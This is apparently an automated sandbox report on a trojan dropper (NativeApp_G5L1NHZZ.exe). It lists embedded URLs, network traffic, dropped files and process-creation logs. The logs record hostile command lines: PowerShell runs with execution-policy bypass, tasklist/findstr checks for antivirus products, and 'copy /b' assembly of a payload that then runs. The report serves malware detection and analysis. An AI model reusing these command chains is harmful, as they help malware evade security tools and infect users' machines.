    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.zoznam.sk/favicon.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.zoznam.sk/favicon.icohttps://www.zoznam.sk/hladaj.fcgi?s=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.zoznam.sk/hladaj.fcgi?s=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.by/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.by/images/search/?rpt=imageview
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.by/images/search/?rpt=imageviewhttps://www.yandex.by/chrome/newtabhttps://storage.ape
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.com.tr/gorsel/search?rpt=imageview
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.com.tr/gorsel/search?rpt=imageviewhttps://www.yandex.com.tr/chrome/newtab
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.com/images/search?rpt=imageview
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.com/search/?text=
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.kz/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.kz/images/search/?rpt=imageview
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.kz/images/search/?rpt=imageviewhttps://www.yandex.kz/chrome/newtab
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.ua/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.ua/images/search/?rpt=imageview
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.ua/images/search/?rpt=imageviewhttps://www.yandex.ua/chrome/newtab
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.icohttps://yandex.by/
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.ico
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.icohttps://yandex.com/search/?text=
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49990
    Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49989 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49990 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49989
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49768
    Source: unknownHTTPS traffic detected: 172.67.146.77:443 -> 192.168.2.5:49989 version: TLS 1.2
    Source: ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: RegisterRawInputDevices() failed for RIDEV_REMOVEmemstr_f91ee052-3
    Source: powershell.exeProcess created: 40

    System Summary

    barindex
    Drops large PE files
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile dump: ProtonEditor.exe.0.dr 160112640Jump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile dump: ProtonEditor.exe0.0.dr 160112640Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess Stats: CPU usage > 49%
    Source: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exeFile created: C:\Windows\MedicationWayne
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeProcess token adjusted: SecurityJump to behavior
    Source: NativeApp_G5L1NHZZ.exeStatic PE information: invalid certificate
    Source: vulkan-1.dll0.0.drStatic PE information: Number of sections : 11 > 10
    Source: libEGL.dll.0.drStatic PE information: Number of sections : 11 > 10
    Source: libGLESv2.dll.0.drStatic PE information: Number of sections : 11 > 10
    Source: vk_swiftshader.dll0.0.drStatic PE information: Number of sections : 11 > 10
    Source: vk_swiftshader.dll.0.drStatic PE information: Number of sections : 11 > 10
    Source: libGLESv2.dll0.0.drStatic PE information: Number of sections : 11 > 10
    Source: vulkan-1.dll.0.drStatic PE information: Number of sections : 11 > 10
    Source: ProtonEditor.exe.0.drStatic PE information: Number of sections : 15 > 10
    Source: libEGL.dll0.0.drStatic PE information: Number of sections : 11 > 10
    Source: ProtonEditor.exe0.0.drStatic PE information: Number of sections : 15 > 10
    Source: NativeApp_G5L1NHZZ.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
    Source: classification engineClassification label: mal100.troj.evad.winEXE@112/188@6/5
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeFile created: C:\Users\user\AppData\Roaming\evfgtisrmbmqfiexJump to behavior
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5364:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7664:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7636:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8140:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6152:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7660:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7708:120:WilError_03
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2828:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7828:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6464:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7832:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:572:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7860:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5080:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7640:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7900:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7844:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7312:120:WilError_03
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile created: C:\Users\user\AppData\Local\Temp\nsvE8F5.tmpJump to behavior
    Source: NativeApp_G5L1NHZZ.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
    Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
    Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
    Source: NativeApp_G5L1NHZZ.exeVirustotal: Detection: 20%
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile read: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeJump to behavior
    Source: unknownProcess created: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe "C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe"
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeProcess created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe "C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1832 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe "C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex" --mojo-platform-channel-handle=2120 --field-trial-handle=1836,i,2966728607677488285,16588942018758611239,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe""
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1""
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exe"
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1"
    Source: C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\CnnCylinder.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Finally Finally.cmd && Finally.cmd
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 69564
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "custodymatchesfacingzope" Ec
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Flow + ..\Payable + ..\Qualifications + ..\Particular + ..\Generous + ..\Conclusions + ..\Bleeding X
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\69564\Style.com Style.com X
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
